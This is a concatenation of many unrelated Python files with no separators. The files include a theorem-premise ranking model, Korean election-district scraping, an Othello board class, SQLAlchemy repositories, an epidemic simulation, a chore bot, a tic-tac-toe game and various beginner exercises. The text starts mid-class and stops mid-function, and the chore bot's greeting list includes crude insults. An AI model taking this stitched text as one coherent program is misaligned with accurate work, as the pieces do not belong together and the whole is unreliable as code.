        features_numbers = dict_features_numbers(features)
        train_ranks = {}
        for thm in thms:
            available_prems = set(chronology[:chronology.index(thm)])
            sp = KNN.predict_1(thm, available_prems, train_deps, train_deps_u,
                               features, features_numbers)
            sp.sort(key = lambda x: x[1], reverse = True)
            train_ranks[thm] = [p for p, s in sp]
        rmdir_mkdir(self.training_dir)
        self.gnn_prep.prepare_training_data(train_deps, train_ranks, self.stms,
                       self.training_dir, self.n_deps_per_example, self.n_jobs)
        return self.training_dir

    def prepare_testing_dir(self, conjs):
        train_deps = read_deps(self.train_deps)
        train_deps_u = read_deps(self.train_deps, unions=True)
        chronology = read_lines(self.chronology)
        features = read_features(self.features)
        features_numbers = dict_features_numbers(features)
        conjs_ranks = {}
        for conj in conjs:
            available_prems = set(chronology[:chronology.index(conj)])
            sp = KNN.predict_1(conj, available_prems, train_deps, train_deps_u,
                               features, features_numbers)
            sp.sort(key = lambda x: x[1], reverse = True)
            conjs_ranks[conj] = [p for p, s in sp]
        rmdir_mkdir(self.testing_dir)
        self.gnn_prep.prepare_testing_data(conjs, conjs_ranks, self.stms,
                                       self.testing_dir, self.n_deps_per_example)
        return self.testing_dir

    def predict(self, conjs):
        conjs = read_lines(conjs) if type(conjs) == str else conjs
        self.prepare_testing_dir(conjs)
        scored_prems = self.gnn.predictions_from_gnn_model(self.testing_dir,
                                                           self.model_path)

        self.predictions_path = self.make_predictions(scored_prems)
        self.logger.print(f'Predictions saved to {self.predictions_path}')
        return self.predictions_path

    def train(self, train_deps, train_neg_deps=None):
        self.logger.print('Preparing training data...')
        self.train_deps = train_deps
        self.train_neg_deps = train_neg_deps
        training_dir = self.prepare_training_dir()
        self.logger.print('Training data prepared')
        rmdir_mkdir(self.model_dir)
        self.logger.print('Training GNN model...')
        self.model_path = self.gnn.train_gnn_model(training_dir,
                           epochs=self.epochs, batch_size=self.batch_size,
                           save_each=20, save_dir=self.model_dir)
        self.logger.print('Training GNN model done')
        self.logger.print(f'Model saved to {self.model_path}')

class RNN(Model):
    def __init__(self, **kwargs):
        super(RNN, self).__init__(**kwargs)
        self.rnn_prep= import_module('rnn.prepare_data')
        self.stms = kwargs['statements']
        self.save_dir = os.path.join(self.save_dir, 'rnn')
        self.model_path = os.path.join(self.save_dir, 'model')
        self.predictions_path = os.path.join(self.save_dir, 'predictions')
        self.train_steps = kwargs['rnn_train_steps']
        self.learning_rate = kwargs['rnn_learning_rate']
        os.environ['MKL_THREADING_LAYER'] = 'GNU'

    def prepare(self):
        mkdir_if_not_exists(self.save_dir)
        return self.rnn_prep.prepare_training_data(
            self.train_deps, self.stms, self.save_dir)

    def train(self, train_deps, train_neg_deps=None):
        self.train_deps = train_deps
        self.train_neg_deps = train_neg_deps
        train_data = self.prepare()
        os.popen(
            f'''
            onmt_train \
                -data {train_data} \
                -train_steps {self.train_steps} \
                -learning_rate {self.learning_rate} \
                -world_size 1 -gpu_ranks 0 \
                -save_model {self.model_path}
            '''
        ).read()
        return self.model_path

    def predict(self, conjs):
        conjs = read_lines(conjs) if type(conjs) == str else conjs
        stms = read_stms(self.stms, tokens=True, short=True)
        conjs_stms = [stms[c] for c in conjs]
        source = write_lines(conjs_stms, os.path.join(self.save_dir, 'test.src'))
        os.popen(
            f'''
            onmt_translate \
                -model {self.model_path}_step_{str(self.train_steps)}.pt \
                -src {source} \
                -beam_size 10 -n_best 10 \
                -replace_unk -verbose \
                -gpu 0 \
                -output {self.predictions_path}
            '''
        ).read()
        preds_raw = read_lines(self.predictions_path)
        assert len(preds_raw) and len(preds_raw) % len(conjs) == 0
        write_empty(self.predictions_path)
        # when we produced n translations per theorem:
        n = int(len(preds_raw) / len(conjs))
        if n > 1:
            conjs = [c for c in conjs for _ in range(n)]
            assert conjs[0] == conjs[1]
            assert len(conjs) == len(preds_raw)
        deps_unions = {c: set() for c in conjs}
        chrono = read_lines(self.chronology)
        for i in range(len(preds_raw)):
            c = conjs[i]
            available_prems = set(chrono[:chrono.index(c)])
            ds = preds_raw[i].split(' ')
            ds = [d for d in ds if d in available_prems]
            if ds:
                deps_unions[c].update(ds)
                append_line(f"{c}:{' '.join(ds)}", self.predictions_path)
        for c in deps_unions:
            ds = deps_unions[c]
            if ds:
                append_line(f"{c}:{' '.join(ds)}", self.predictions_path)
        return self.predictions_path

class LightGBM(Model):
    def __init__(self, **kwargs):
        pass


import warnings
from model.loader import Loader
from model.model import Model
from model.evaluator import Evaluator

warnings.filterwarnings("ignore", category=UserWarning)

loader = Loader()
model = Model()
evaluator = Evaluator()

url = "database/dataset_test.csv"
colunas = [
    'marital_status',
    'application_mode',
    'application_order',
    'course',
    'daytime_evening_attendance',
    'previous_qualification',
    'previous_qualification_grade',
    'nacionality',
    "mother_qualification",
    "father_qualification",
    "mother_occupation",
    "father_occupation",
    'admission_grade',
    'displaced',
    'educational_special_needs',
    'debtor',
    'tuition_fees_up_to_date',
    'gender',
    'scholarship_holder',
    'age_at_enrollment',
    'international',
    'curricular_units_1st_sem_grade',
    'curricular_units_2nd_sem_grade',
    'unemployment_rate',
    'inflation_rate',
    'class'
]

dataset = loader.load_data(url, colunas)

X = dataset.iloc[:, 0:-1]
Y = dataset.iloc[:, -1]

def test_modelo_lr():
    lr_path = 'ml_model/data_lr.pkl'
    lr_model = model.load_model(lr_path)

    acuracia_lr, recall_lr, precisao_lr, f1_lr = evaluator.to_evaluate(lr_model, X, Y)

    assert acuracia_lr >= 0.7
    assert recall_lr >= 0.5
    assert precisao_lr >= 0.5
    assert f1_lr >= 0.5

def test_modelo_knn():
    knn_path = 'ml_model/data_knn.pkl'
    modelo_knn = model.load_model(knn_path)

    acuracia_knn, recall_knn, precisao_knn, f1_knn = evaluator.to_evaluate(modelo_knn, X, Y)

    assert acuracia_knn >= 0.7
    assert recall_knn >= 0.5
    assert precisao_knn >= 0.5
    assert f1_knn >= 0.5


import json
import requests
from bs4 import BeautifulSoup

city_code_name_pairs = {
    '1100': '서울특별시',
    '2600': '부산광역시',
    '2700': '대구광역시',
    '2800': '인천광역시',
    '2900': '광주광역시',
    '3000': '대전광역시',
    '3100': '울산광역시',
    '5100': '세종특별자치시',
    '4100': '경기도',
    '4200': '강원도',
    '4300': '충청북도',
    '4400': '충청남도',
    '4500': '전라북도',
    '4600': '전라남도',
    '4700': '경상북도',
    '4800': '경상남도',
    '4900': '제주특별자치도'
}

def fetch_election_district_info(city_code):
    url = ('http://info.nec.go.kr/electioninfo/electionInfo_report.xhtml?'
           'electionId=0020120411&requestURI=%%2Felectioninfo%%2F0020120411%%2Fbi%%2Fbigi05.jsp'
           '&statementId=BIGI05&electionCode=2&cityCode=%d&townCode=-1') % city_code
    html = requests.get(url).text
    soup = BeautifulSoup(html, 'html.parser')
    tbody = soup.find('tbody')
    trs = tbody.find_all('tr')

    district_list = []
    last_district_name = None
    for tr in trs:
        tds = tr.find_all('td')
        associated_towns = [x.strip() for x in tds[2].string.split(',')]
        district_name = tds[0].string
        if district_name is None:
            district_name = last_district_name
        local_name = tds[1].string

        last_district_name = district_name
        precint_info = {
            'name': district_name,
            'local': local_name,
            'associated_towns': associated_towns
        }
        district_list.append(precint_info)
    return district_list

def fetch_all_city_district_infos():
    city_infos = []
    for k, v in city_code_name_pairs.items():
        city_info = {
            'code': k,
            'name': v,
            'district_info': fetch_election_district_info(int(k))
        }
        city_infos.append(city_info)
    return city_infos

if __name__ == '__main__':
    data_json = json.dumps(fetch_all_city_district_infos(), ensure_ascii=False)
    with open('election-data.json', 'w', encoding='utf-8') as f:
        f.write(data_json)


value = int(input("please ennter a max value"))
current =1

while current <= value:
    total = 0
    for i in range(1, current):
        if current % i == 0:
            total += i

    if total == current:
        print(current)

    current += 1


from ctypes import *
from list import GF_List

class GF_GenericSubtitleConfig(Structure):
    _fields_=[
        ("tag", c_char),
        ("timescale", c_int),
        ("layer", c_int16),
        ("text_width", c_uint16),
        ("text_height", c_uint16),
        ("sample_descriptions", POINTER(GF_List)),
        ("has_vid_info", c_int),
        ("video_width", c_uint16),
        ("video_height", c_uint16),
        ("horiz_offset", c_int16),
        ("vert_offset", c_int16)
    ]


"""
FFI builder module for minpack for usage from meson and from setup.py.

Since meson has the full knowledge about the build, it will handle
the generation of the C definitions in the meson.build file rather
than in the FFI builder. This allows to correctly keep track of
dependencies and updates in the build process.

For setup.py we have to do the preprocessing ourselves here, this
requires us to use the C compiler to preprocess the header file
of minpack because the CFFI C parser cannot handle certain C
preprocessor constructs. Also, we cannot rely on an external build
system fixing dependencies for us and therefore have to find those
ourselves using pkg-config.
"""

import os
import cffi

library = "minpack"
include_header = '#include "minpack.h"'
prefix_var = "MINPACK_PREFIX"
if prefix_var not in os.environ:
    prefix_var = "CONDA_PREFIX"

if __name__ == "__main__":
    import sys

    kwargs = dict(libraries=[library])

    header_file = sys.argv[1]
    module_name = sys.argv[2]

    with open(header_file) as f:
        cdefs = f.read()
else:
    import subprocess

    try:
        import pkgconfig

        if not pkgconfig.exists(library):
            raise ModuleNotFoundError("Unable to find pkg-config package 'minpack'")
        if pkgconfig.installed(library, "< 2.0.0"):
            raise Exception(
                "Installed 'minpack' version is too old, 2.0.0 or newer is required"
            )

        kwargs = pkgconfig.parse(library)
        cflags = pkgconfig.cflags(library).split()

    except ModuleNotFoundError:
        kwargs = dict(libraries=[library])
        cflags = []
        if prefix_var in os.environ:
            prefix = os.environ[prefix_var]
            kwargs.update(
                include_dirs=[os.path.join(prefix, "include")],
                library_dirs=[os.path.join(prefix, "lib")],
                runtime_library_dirs=[os.path.join(prefix, "lib")],
            )
            cflags.append("-I" + os.path.join(prefix, "include"))

    cc = os.environ["CC"] if "CC" in os.environ else "cc"

    module_name = "minpack._libminpack"

    p = subprocess.Popen(
        [cc, *cflags, "-DMINPACK_CFFI=1", "-E", "-"],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    out, err = p.communicate(include_header.encode())

    cdefs = out.decode()

ffibuilder = cffi.FFI()
ffibuilder.set_source(module_name, include_header, **kwargs)
ffibuilder.cdef(cdefs)

if __name__ == "__main__":
    ffibuilder.distutils_extension(".")


class Board:
    """Luokka, joka hallitsee pelilaudan tilaa.

    Attributes:
        board_state: Laudan alkutila.
        0 kuvaa tyhjää ruutua, 1 mustaa nappulaa ja 2 valkoista nappulaa.
        player: Vuorossa olevaa pelaajaa kuvaava muuttuja.
        True on mustan vuoro ja False valkoisen.
        legal_list: Sanakirja, jossa aivaimina on lailliset siirrot
        ja arvoina lista ruuduista, joihin siirto päättyy.
        player_number: Vuorossa olevan pelaajan nappulan numero.
        opponent_number: Toisen pelaajan nappulan numero.
        tally: Muuttuja, johon tallennetaan kuinka monta nappulaa kullakin pelaajalla on.
    """

    def __init__(self):
        """Luokan konstruktori, joka alustaa luokan attribuuttien arvot.
        """
        self.board_state = [[0, 0, 0, 0, 0, 0, 0, 0],
                            [0, 0, 0, 0, 0, 0, 0, 0],
                            [0, 0, 0, 0, 0, 0, 0, 0],
                            [0, 0, 0, 1, 2, 0, 0, 0],
                            [0, 0, 0, 2, 1, 0, 0, 0],
                            [0, 0, 0, 0, 0, 0, 0, 0],
                            [0, 0, 0, 0, 0, 0, 0, 0],
                            [0, 0, 0, 0, 0, 0, 0, 0]]
        self.player = True
        self.legal_list = {}
        self.player_number = 1
        self.opponent_number = 2
        self.tally = (2, 2)

        self.legal_moves()

    def change_player(self):
        """Vaihtaa vuorossa olevaa pelaajaa.
        """
        self.player = not self.player
        if self.player:
            self.player_number = 1
            self.opponent_number = 2
        else:
            self.player_number = 2
            self.opponent_number = 1

    def set_state(self, state):
        """Asettaa laudalle uuden tilan, jos se on laillinen.

        Args:
            state (Lista): Laudan tilaa kuvaava lista

        Returns:
            Boolean: True jos lista kelpaa, False jos lista ei kelpaa
        """
        if len(state) == 8 and len(state[0]) == 8:
            for i in range(len(state)):
                if not all(square in [0, 1, 2] for square in state[i]):
                    return False
            self.board_state = state
            self.legal_moves()
            return True
        return False

    def check_end(self):
        """Tarkistaa onko peli ohi eli onko kummallakaan pelaajalla laillisia siirtoja.
        Vaihtaa pelaajaa, jos vain toisella pelaajalla on siirtoja.

        Returns:
            Boolean: True jos peli on ohi. False jos toisella tai molemmilla pelaajilla on siirtoja.
        """
        if len(self.legal_list) == 0:
            self.change_player()
            if len(self.legal_moves()) == 0:
                return True
        return False

    def check_tally(self):
        """Laskee montako nappulaa pelaajilla on.

        Returns:
            Tuple: Nappuloiden määrät.
        """
        black_tally = 0
        white_tally = 0

        for i in range(8):
            for j in range(8):
                if self.board_state[i][j] == 1:
                    black_tally += 1
                elif self.board_state[i][j] == 2:
                    white_tally += 1
        return (black_tally, white_tally)

    def make_move(self, y_square, x_square):
        """Tarkistaa onko annettu siirto laillinen ja tekee sen.

        Args:
            y_square (int): Siirron y-koordinaatti
            x_square (int): Siirron x-koordinaatti

        Returns:
            Boolean: True jos siirto on laillinen, False jos ei
        """
        if (y_square, x_square) in self.legal_list:
            self._alter_board(y_square, x_square)
            self.tally = self.check_tally()
            return True
        return False

    def _alter_board(self, y_square, x_square):
        """Muuttaa laudan tilaa annetun siirron mukaan

        Args:
            y_square (int): Siirron y-koordinaatti
            x_square (int): Siirron x-koordinaatti
        """
        for move in self.legal_list[(y_square, x_square)]:
            self._fill(y_square, x_square, move)

    def _fill(self, y_square, x_square, move):
        """Muuttaa laudan tilaa lähtöruudusta loppuruutuun.

        Args:
            y_square (int): Siirron y-koordinaatti
            x_square (int): Siirron x-koordinaatti
            move (Tuple): Loppuruudun koordinaatit
        """
        dist = max(abs(y_square-move[0]), abs(x_square-move[1]))
        if y_square == move[0]:
            y_step = 0
        else:
            y_step = (move[0]-y_square)//abs((move[0]-y_square))
        if x_square == move[1]:
            x_step = 0
        else:
            x_step = (move[1]-x_square)//abs((move[1]-x_square))
        for i in range(dist+1):
            self.board_state[y_square +
                             (i*y_step)][x_square+(i*x_step)] = self.player_number

    def legal_moves(self):
        """Tarkistaa kaikki laudan lailliset siirrot.

        Returns:
            Sanakirja: Sanakirja laillisista siirroista
        """
        moves = {}
        temp_moves = []
        for i in range(8):
            for j in range(8):
                if self.board_state[i][j] == 0:
                    temp_moves = self._legal_check(i, j)
                    if len(temp_moves) > 0:
                        moves[(i, j)] = temp_moves.copy()
                    temp_moves.clear()
        self.legal_list = moves
        return moves

    def _check_directions(self, y_square, x_square, direction):
        """Tarkistaa onko annetusta ruudusta annettuun suuntaan laillinen siirto

        Args:
            y_square (int): Ruudun y-koordinaatti
            x_square (int): Ruudun x-koordinaatti
            direction (Tuple): Suunta johon funktio tarkistaa

        Returns:
            Tuple/Boolean: Jos siirto on laillinen palauttaa funktio loppuruudun, muuten False
        """
        y_direction = direction[0]
        x_direction = direction[1]

        temp_y = y_square + y_direction
        temp_x = x_square + x_direction

        if 7 < temp_y or temp_y < 0 or 7 < temp_x or temp_x < 0:
            return False

        if self.board_state[temp_y][temp_x] == self.opponent_number:
            while -1 < temp_y < 8 and -1 < temp_x < 8:
                if self.board_state[temp_y][temp_x] == self.player_number:
                    return (temp_y, temp_x)
                if self.board_state[temp_y][temp_x] == 0:
                    break
                temp_y += y_direction
                temp_x += x_direction
        return False

    def _legal_check(self, y_square, x_square):
        """Tarkistaa lähteekö annetusta ruudusta laillisia siirtoja eri suuntiin

        Args:
            y_square (int): Ruudun y-koordinaatti
            x_square (int): Ruudun x-koordinaatti

        Returns:
            Lista: Ruudusta lähtevien siirtojen loppuruutujen koordinaatit
        """
        moves = []
        directions = [(-1, 0), (1, 0), (0, -1), (0, 1),
                      (-1, -1), (1, 1), (-1, 1), (1, -1)]

        for direction in directions:
            temp = self._check_directions(y_square, x_square, direction)
            if temp is not False:
                moves.append(temp)

        return moves


from abc import ABC, abstractmethod
from sqlalchemy import select, update
from sqlalchemy.orm import selectinload
from typing import List

from app.database import AsyncSessionLocal
from app.models.supermarkets import Supermarket
from app.schemas.supermarket import SupermarketIn
from app.models.users import User
from app.models.addresses import Address
from app.models.plans import Plan
from app.schemas.plan import PlanIn

class SupermarketRepository(ABC):

    @abstractmethod
    async def get_all() -> List[Supermarket]:
        async with AsyncSessionLocal() as session:
            query = select(Supermarket)
            result = await session.execute(query)

        return result.scalars().fetchall()

    @abstractmethod
    async def get_by_id(id: int) -> Supermarket:
        async with AsyncSessionLocal() as session:
            query = select(Supermarket).where(Supermarket.id == id)
            result = await session.execute(query)

        return result.scalar()

    @abstractmethod
    async def add(supermarket: SupermarketIn, user: User, address: Address, plan: Plan):
        async with AsyncSessionLocal() as session:
            supermarket = Supermarket(
                name=supermarket.name,
                business_name=supermarket.business_name,
                state_registration=supermarket.state_registration,
                phone_number=supermarket.phone_number,
                cnpj=supermarket.cnpj,
                address=address
            )

            supermarket.address = address
            supermarket.plan = plan
            supermarket.users.append(user)

            session.add(supermarket)

            await session.commit()
            await session.refresh(supermarket)

        return supermarket

    @abstractmethod
    async def update(id: int, supermarket_data: SupermarketIn):
        async with AsyncSessionLocal() as session:
            query = update(Supermarket).where(Supermarket.id == id).values(dict(supermarket_data))
            await session.execute(query)
            await session.commit()

        return id

    @abstractmethod
    async def update_plan(supermarket_id: int, plan_id: int):
        async with AsyncSessionLocal() as session:
            query = update(Supermarket)\
                .where(Supermarket.id == supermarket_id)\
                .values(id_plan=plan_id)

            await session.execute(query)
            await session.commit()

        return plan_id


import torch
import numpy as np
from scipy.sparse.csgraph import laplacian
import matplotlib.pyplot as plt
from methods import integrateSEIS

# 𝑃={′𝐴𝐵′,′𝐵𝐶′,′𝑀𝐵′,′𝑁𝐵′,′𝑁𝐿′,′𝑁𝑇′,′𝑁𝑆′,′𝑁𝑈′,′𝑂𝑁′,′𝑃𝐸′,′𝑄𝐶′,′𝑆𝐾′,′𝑌𝑇′}
# alpha and mu are disease dependant
beta=0.3
gamma=0.01
# K=Ks=Ke as susceptible pop is just as mobile as effected
K=0.2
Ki=0.01
theta=torch.tensor([beta,gamma,K,Ki])

S0=torch.FloatTensor([4345737,5020302,1360396,772094,523790,44598,965382,38787,14446515,154748,8433301,1168423,40369])
E0=torch.FloatTensor([1,5,1,0,0,0,0,0,10,0,3,1,0])
I0=torch.FloatTensor([0,1,0,0,0,0,0,0,3,0,0,0,0])
dt=1.0
nt=100
#minimuim(theta,mu1,nu)
S,E,I=integrateSEIS(theta,S0,E0,I0,dt,nt)

t=torch.arange(nt+1)*dt
for i in range (13):
     plt.figure(i)
     plt.plot(t,E[i],t,I[i])
plt.show()


"""
Define a new model by extending class Model
"""

import tensorflow as tf
from tensorflow.keras import Model
from tensorflow.keras.layers import Dense

class MyModel(Model):

    def __init__(self, units, **kwargs):
        '''initializes the instance attributes'''
        super().__init__(**kwargs)
        self.my_input = Dense(units[0], activation='relu')

        self.hidden = []
        for idx in range(1, len(units) - 1):
            self.hidden.append(Dense(units[idx], activation='relu'))

        self.my_output = Dense(units[-1], activation='softmax')

    def call(self, inputs):
        '''defines the network architecture'''
        x = inputs
        for l in self.hidden:
            x = l(x)
        out = self.my_output(x)
        return out

# load data
mnist = tf.keras.datasets.fashion_mnist
(training_images, training_labels), (test_images, test_labels) = mnist.load_data()
training_images = training_images / 255.0
test_images = test_images / 255.0

# create model
model = MyModel([784, 32, 32, 10])

# train model
model.compile(optimizer=tf.optimizers.Adam(),
              loss='sparse_categorical_crossentropy',
              metrics=['accuracy'])
model.fit(training_images.reshape(-1, 784), training_labels, epochs=5)


import datetime
import random
import json
from chore_assignments import CHORES_TO_PEOPLE,PEOPLE_TO_CHORES

CHORE_OPTIONS = (
    'kitchen','sweeping/mopping','trash','general pickup','recycling'
)

CHORE_FREQUENCIES = {
'kitchen' : datetime.timedelta(days=1),
'sweeping/mopping' : datetime.timedelta(days=7),
'trash' : datetime.timedelta(days=1),
'general pickup' : datetime.timedelta(days=3),
'recycling' : datetime.timedelta(days=2)
}

class Chore:
    def update_person(self):
        people = CHORES_TO_PEOPLE[self.chore]
        index = people.index(self.person)

        self.person = people[(index + 1) % len(people)]

    def update_date(self):
        if self.active:
            self.next_active_day += CHORE_FREQUENCIES[self.chore]

    def update_chore(self):
        self.update_person()
        self.update_date()

    @classmethod
    def from_dict(cls, dict):
        ''' Initializes a chore from a dict '''

        obj = cls()
        for key in dict.keys():
            obj.__dict__[key] = dict[key]
        obj.__dict__['next_active_day'] = datetime.datetime.strptime(obj.next_active_day,"%m/%d/%Y")
        obj.__dict__['active'] = obj.next_active_day == datetime.datetime.today()

        return obj

    def to_dict(self):
        '''
            Returns a custom dictionary representation of the
            chore, to use to convert the chore to json
        '''
        next_day = self.next_active_day.strftime('%m/%d/%y')
        ret = {
                'chore'             :   self.chore,
                'next_active_day'   :   next_day,
                'person'            :   self.person
              }
        return ret

    def accountability_msg(self):
        return "{} is responsible for {} today.".format(self.person,self.chore)

    def chore_msg(self):
        def get_random_greeting():
            random_greetings = ["Howdy","Buenas Dias","Sup fuckhead","Hey ballgobbler","Good'day",'Aloha', 'Suh','Praise Data',
                                "Eat my ballsack","Hi", "Hey", "Ayy", "Ahoy", "Buongiorno", "Hello", "What's up, ATTENTION"]
            return random.choice(random_greetings)
        return "{} {}, please do your chore: {}".format(get_random_greeting(),self.person,self.chore)

    def __str__(self):
        return "[{}, Active: {}".format(self.chore,self.active)


# Tic-Tac-Toe game

from time import sleep
import curses
from os import system

def winner(b, turn):
    players = ("Player 1", "Player 2")
    for i in range(3):
        if (b[i*3] == b[i*3+1] == b[i*3+2] != " " or
            b[i]   == b[i+3]   == b[i+6]   != " "   ):
            return f"{players[turn%2]} wins!"
    if (b[0] == b[4] == b[8] != " " or
        b[2] == b[4] == b[6] != " " ):
        return f"{players[turn%2]} wins!"
    return "No winner"

def main(stdscr):
    y,x = stdscr.getmaxyx()
    y = y//2-3
    x = x//2-5
    curses.curs_set(0)
    curses.mousemask(1)
    board = lambda b: "╔═══╦═══╦═══╗\n║ {} ║ {} ║ {} ║\n╠═══╬═══╬═══╣\n║ {} ║ {} ║ {} ║\n╠═══╬═══╬═══╣\n║ {} ║ {} ║ {} ║\n╚═══╩═══╩═══╝".format(*b)
    b = list(" "*9)
    xs = [2,6,10]
    ys = [1,3,5]
    #print(board(b1))
    #sleep(1)
    #print(board(b2))
    for i,r in enumerate(board(b).split("\n")):
        stdscr.addstr(y+i, x, r)
    turn = 0
    symbols = "XO"
    curses.init_pair(2, curses.COLOR_GREEN, curses.COLOR_BLACK)
    curses.init_pair(1, curses.COLOR_RED, curses.COLOR_BLACK)
    while True:
        key = stdscr.getch()
        if key == curses.KEY_MOUSE:
            _, mx, my, *_ = curses.getmouse()
            rx, ry = mx-x, my-y
            if rx in xs and ry in ys:
                ix, iy = xs.index(rx), ys.index(ry)
                if b[iy*3+ix] == " ":
                    b[iy*3+ix] = symbols[turn%2]
                else: continue
            else: continue
            for i,r in enumerate(board(b).split("\n")):
                stdscr.addstr(y+i, x, r)
            stdscr.addstr(my, mx, symbols[turn%2], curses.color_pair(turn%2+1))
            w = winner(b, turn)
            if w != "No winner":
                for i,r in enumerate(board(b).split("\n")):
                    stdscr.addstr(y+i, x, r)
                stdscr.addstr(y+7, x-1, w)
                stdscr.refresh()
                sleep(3)
                quit()
            if " " not in b:
                stdscr.addstr(y+7, x, w)
                stdscr.refresh()
                sleep(2)
                quit()
            turn += 1
curses.wrapper(main)


import sounddevice as sd
from scipy.io.wavfile import write

fs = 44100
seconds = 10

print('I am listening... press ctrl+c to stop'  )
while True:
    myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=1)
    sd.wait()
    print("Finished and again, recordign size", len(myrecording))


#Leia o peso em kg e altura da pessoa e mostre seu IMC#
altura = float(input('Qual sua altura? '))
peso = float(input('Qual seu peso em Kg? '))
imc = peso / (altura**2)
if imc <18.5:
    print('Abaixo do peso')
elif imc>=18.5 and imc<25:
    print('Peso normal')
elif imc>=25 and imc<=30:
    print('Sobrepeso')
elif imc>30 and imc<=40:
    print('Obesidade')
else:
    print('Obesidade mórbida')


import argparse
import json
import re

from pyspark.sql import SparkSession
from pyspark.sql.types import DateType, FloatType, StructField, StructType
from merlion.spark.dataset import read_dataset, write_dataset, TSID_COL_NAME
from merlion.spark.pandas_udf import anomaly

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("--data", required=True, help="Path at which the dataset is stored.")
    parser.add_argument("--output_path", required=True, help="Path at which to save output anomaly scores.")
    parser.add_argument(
        "--train_test_split", required=True, help="First timestamp in the dataset which should be used for testing."
    )
    parser.add_argument("--file_format", default="csv", help="File format of train data & output file.")
    parser.add_argument(
        "--model",
        default=json.dumps({"name": "DefaultDetector"}),
        help="JSON dict specifying the model we wish to use for anomaly detection.",
    )
    parser.add_argument(
        "--index_cols",
        default="[]",
        help="JSON list of columns used to demarcate different time series. For example, if the dataset contains sales "
        'for multiple items at different stores, this could be \'["store", "item"]\'. '
        "If not given, we assume the dataset contains only 1 time series.",
    )
    parser.add_argument(
        "--time_col",
        default=None,
        help="Name of the column containing timestamps. If not given, use the first non-index column.",
    )
    parser.add_argument(
        "--data_cols",
        default="[]",
        help="JSON list of columns to use when modeling the data. If not given, use all non-index, non-time columns.",
    )
    parser.add_argument(
        "--predict_on_train", action="store_true", help="Whether to return the model's prediction on the training data."
    )
    args = parser.parse_args()

    # Parse index_cols JSON string
    try:
        index_cols = json.loads(re.sub("'", '"', args.index_cols))
        assert isinstance(index_cols, list)
    except (json.decoder.JSONDecodeError, AssertionError) as e:
        parser.error(
            f"Expected --index_cols to be a JSON list. Got {args.index_cols}.\n" f"Caught {type(e).__name__}({e})"
        )
    else:
        args.index_cols = index_cols

    # Parse data_cols JSON string
    try:
        data_cols = json.loads(re.sub("'", '"', args.data_cols))
        assert isinstance(data_cols, list)
    except (json.decoder.JSONDecodeError, AssertionError) as e:
        parser.error(
            f"Expected --data_cols to be a JSON list if given. Got {args.data_cols}.\n"
            f"Caught {type(e).__name__}({e})"
        )
    else:
        args.data_cols = data_cols

    # Parse JSON string for the model and set the model's target_seq_index
    try:
        model = json.loads(re.sub("'", '"', args.model))
        assert isinstance(model, dict)
    except (json.decoder.JSONDecodeError, AssertionError) as e:
        parser.error(
            f"Expected --model to be a JSON dict specifying a Merlion model. Got {args.model}.\n"
            f"Caught {type(e).__name__}({e})"
        )
    else:
        args.model = model

    return args

def main():
    args = parse_args()

    # Read the dataset as a Spark DataFrame, and process it.
    # This will add a TSID_COL_NAME column to identify each time series with a single integer.
    spark = SparkSession.builder.appName("anomaly").getOrCreate()
    df = read_dataset(
        spark=spark,
        file_format=args.file_format,
        path=args.data,
        time_col=args.time_col,
        index_cols=args.index_cols,
        data_cols=args.data_cols,
    )
    if args.time_col is None:
        args.time_col = df.schema.fieldNames()[0]
    args.index_cols = args.index_cols + [TSID_COL_NAME]

    # Use spark to predict anomaly scores for each time series in parallel
    index_fields = [df.schema[c] for c in args.index_cols]
    pred_fields = [StructField(args.time_col, DateType()), StructField("anom_score", FloatType())]
    output_schema = StructType(index_fields + pred_fields)
    anomaly_df = df.groupBy(args.index_cols).applyInPandas(
        lambda pdf: anomaly(
            pdf,
            index_cols=args.index_cols,
            time_col=args.time_col,
            train_test_split=args.train_test_split,
            model=args.model,
            predict_on_train=args.predict_on_train,
        ),
        schema=output_schema,
    )

    write_dataset(df=anomaly_df, time_col=args.time_col, path=args.output_path, file_format=args.file_format)

if __name__ == "__main__":
    main()


from PyQt5.QtWidgets import QWidget
from PyQt5.QtWidgets import QHBoxLayout

class WidgetHorizontalButton(QWidget):
    def __init__(self, btn1, btn2, table, row, col):
        QWidget.__init__(self)
        self.btn1 = btn1
        self.btn2 = btn2
        self.table = table
        self.__layout__()
        self.__setWidth__()
        table.setCellWidget(row, col, self)

    def __layout__(self):
        layout = QHBoxLayout()
        layout.addWidget(self.btn1)
        layout.addWidget(self.btn2)
        self.setLayout(layout)

    def __setWidth__(self):
        width = 20
        width += self.btn1.width()
        width += self.btn2.width()
        self.setFixedWidth(width)


# for Loops

""" What is for Loops?
type : syntax
how to use : //
for iterator_value_name in iterable:
   action code  <------ recommended to enter space bar for 4 times exactly
//
input :
  - iterator_value_name : variable that you could use in each action code while looping
  - iterable : variable that make an iterator
  - action code : code that you want to loop
output :
  - loop of output of action code for each iterator value
"""

print("\n- example 1")
for i in [0, 1, 2]: # list is iterable
    print(i) # output will be 0 + "\n" + 1 + "\n" + 2 + "\n"

""" What is range?
type : iterable class
how to use : //
range(start: int, stop: int, step: int)
//
input :
  - start : defaults 0, starting point of range
  - stop : no default value, ending point that is omitted
  - step : defaults 1, same as common difference
output :
  - range instance that can make int iterator
"""

print("\n- example 2")
# same as print(*range(3), sep = '\n')
for i in range(0, 3, 1): # range(3) is also possible
    print(i) # same output with example

print("\n- example 3, factorial")
fac = 1
for i in range(1, 11): # same as range(1, 11, 1)
    fac *= i # same as fac = i * fac
print(fac) # output is 10!

print("\n- example 4")
# same as print(sum(*range(500, 1001, 2)))
odd_sum = 0
for i in range(500, 1001):
    if i % 2:
        odd_sum += i
print("sum from 500 to 1000 which is odd :", odd_sum)

print("\n- example 5, sum of input start number and end number")
# same as print(sum(range(int(input("start number : ")), int(input("end number : ")), int(input("step number : ")))))
start = int(input("start number : ") or 1)
end = int(input("end number : ") or 1)
step = int(input("step number : ") or 1)
sum_input = 0
for i in range(start, end, step):
    sum_input += i
print(sum_input)

print("\n- example 6, Multiplication table")
multnum = input("multiple number : ") or range(1, 10)
for i in multnum:
    for j in range(1, 10):
        print(f"{int(i)} X {j} = {int(i)*j}")


def merge(u, v):
    result = ''
    if not v:
        if u[0] == ')' or u[-1] == '(':
            result += '()'
            for i in range(1, len(u) - 1):
                if u[i] == '(':
                    result += ')'
                else:
                    result += '('
            return result
        else:
            return u
    mu, mv = separate(v)
